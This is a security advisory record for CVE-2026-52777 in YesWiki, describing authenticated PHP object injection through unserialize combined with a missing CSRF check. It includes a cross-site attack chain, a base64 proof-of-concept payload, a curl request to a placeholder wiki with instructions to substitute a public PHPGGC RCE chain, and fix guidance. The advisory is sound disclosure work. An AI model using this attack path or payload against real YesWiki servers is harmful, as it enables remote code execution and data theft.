{"id":"CVE-2026-52777","aliases":["GHSA-9369-69wj-7m2f"],"url":"https://o3.security/vulnerability/CVE-2026-52777","summary":"YesWiki: Authenticated PHP Object Injection in BazarImportAction via unserialize","details":"## Details\n\n### Sink\n\n`tools/bazar/services/CSVManager.php` line 372-399:\n\n```\npublic function importEntry(array $importedEntries, string $formId): ?array\n{\n    if (!$this->importdone) {\n        // ...\n        foreach ($importedEntries as $entry) {\n            $entry = unserialize(base64_decode($entry));   // <-- SINK\n            $entry = array_map('strval', $entry);\n            // ...\n```\n\nThere is no `['allowed_classes' => false]` argument; arbitrary classes are instantiated. The subsequent `array_map('strval', $entry)` additionally exercises `__toString` on each top-level array element, doubling the magic-method surface available to a gadget chain.\n\n### Source\n\n`tools/bazar/actions/BazarImportAction.php`:\n\n```\n// formatArguments()\n'mode' => (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' :\n    (isset($_POST['importfiche']) ? 'importentries' : 'default'),\n'importentries' => $_POST['importfiche'] ?? null,\n\n// run()\ncase 'importentries':\n    // ...\n    $importedEntries = $this->CSVManager->importEntry($this->arguments['importentries'], $vID['id']);\n    break;\n```\n\n`$_POST['importfiche']` flows directly to the sink. The `mode` switches to `'importentries'` whenever the request body contains the key, so an attacker need only POST `importfiche[0]=<payload>`.\n\n### Reachability\n\n1. The action is registered as `bazarimport`. The default `BazaR` page (`setup/sql/default-content.sql` -> `BazaR` page entry, ships with `{{bazar showexportbuttons=\"1\"}}`) routes `?BazaR&vue=importer&id_typeannonce=<N>` to `BazarAction::run()` -> `case VOIR_IMPORTER -> callAction('bazarimport', ...)` (`tools/bazar/actions/BazarAction.php:257-258`). So the sink is reachable on a default install with no extra page authoring.\n\n2. `BazarImportAction::run()` calls `$this->checkSecuredACL()` with the default `$adminOnly=true`. Only wiki admins (or accounts the admin has added to the `bazarimport` action ACL) can execute it.\n\n3. The `importentries` branch does NOT invoke `CsrfTokenController::checkToken(...)`. Grepping `tools/bazar/actions/BazarImportAction.php` confirms the action class has no `csrf` or `checkToken` reference at all. This is asymmetric with sibling actions: `tools/bazar/controllers/FormController.php` does call `checkToken('main', 'POST', 'confirmDeleteToken')` for destructive operations. The import path skips the same protection.\n\n4. Therefore the full kill chain for a remote attacker is:\n\n   a. Identify any admin user on the target wiki.\n   b. Deliver an HTML page (email, chat, link) that auto-POSTs `importfiche[0]=<base64-encoded PHPGGC payload>` to `https://<wiki>/?BazaR&vue=importer&id_typeannonce=1`.\n   c. The admin's session cookie is sent automatically; the action passes `checkSecuredACL`; the unserialize fires.\n\n### Gadget chain availability\n\n`composer.json` requires `doctrine/annotations ^1.11` and `doctrine/cache ^1.10`. Both have published PHPGGC chains (`Doctrine/RCE1`, `Doctrine/FW1`, `Doctrine/FW2`, etc., from https://github.com/ambionics/phpggc). These chains terminate in either `system($cmd)` (RCE1) or `file_put_contents($php_file, $contents)` (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.\n\nThis advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.\n\n### Past advisories cross-check\n\nYesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an `unserialize` / PHP-object-injection sink, so this is a novel vulnerability class for the project.\n\n## PoC\n\nA self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled `__destruct` runs without booting the full application.\n\nRun:\n\n```\nphp poc.php\n```\n\nOutput (verbatim):\n\n```\nCrafted importfiche[0] payload (form-ready, urlencoded):\nYToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D\n\n== before importEntry ==\n[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'\nPHP Fatal error:  Uncaught Error: Object of class Gadget could not be converted to string ...\n[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'\n```\n\nThe two `[Gadget] __destruct fired` lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined `Gadget::__destruct` executed -- with the attacker-supplied marker -- inside the unmodified `importEntry` code path.\n\nEnd-to-end against a live YesWiki install:\n\n```\ncurl -i -b \"yeswiki_session=<admin_cookie>\" \\\n     -X POST \"https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1\" \\\n     --data-urlencode \\\n     \"importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ==\"\n```\n\n(replace the payload with a real PHPGGC `Doctrine/FW1` or `Doctrine/RCE1` output to obtain RCE on the target host).\n\n## Impact\n\n- Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).\n- An attacker who has already compromised an admin password upgrades from \"wiki content management\" to \"OS shell on the hosting box\".\n- The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify `wakka.config.php`, dump the MySQL database, and pivot from there.\n\n## Suggested fix\n\n1. `tools/bazar/services/CSVManager.php::importEntry` -- pass `['allowed_classes' => false]` to `unserialize`, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (`?api/entries/{formId}` POST in `tools/bazar/presentation/javascripts/bazar-import.js`). The serialized-PHP transport appears to be an unused legacy path.\n2. `tools/bazar/actions/BazarImportAction.php` -- add a `CsrfTokenController::checkToken('main', 'POST', 'csrf-token', false)` guard for the `'importentries'` mode (and any other state-changing modes). The existing `tools/bazar/controllers/FormController.php` pattern can be lifted directly.","published":"2026-09-04T23:51:46.992Z","modified":"2026-10-21T02:58:27.530723862Z","cvss":null,"epss":{"score":0.00215,"percentile":0.12031,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","fixedVersion":"4.6.6"}],"fix":{"url":"https://github.com/YesWiki/yeswiki/commit/8f70a8d6b8befa0e644d03c785701dbbc55b8fd0","label":"YesWiki/yeswiki@8f70a8d"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/releases/tag/v4.6.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52777.json"},{"type":"ADVISORY","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-9369-69wj-7m2f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52777"},{"type":"FIX","url":"https://github.com/YesWiki/yeswiki/commit/8f70a8d6b8befa0e644d03c785701dbbc55b8fd0"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:27.530723862Z"}}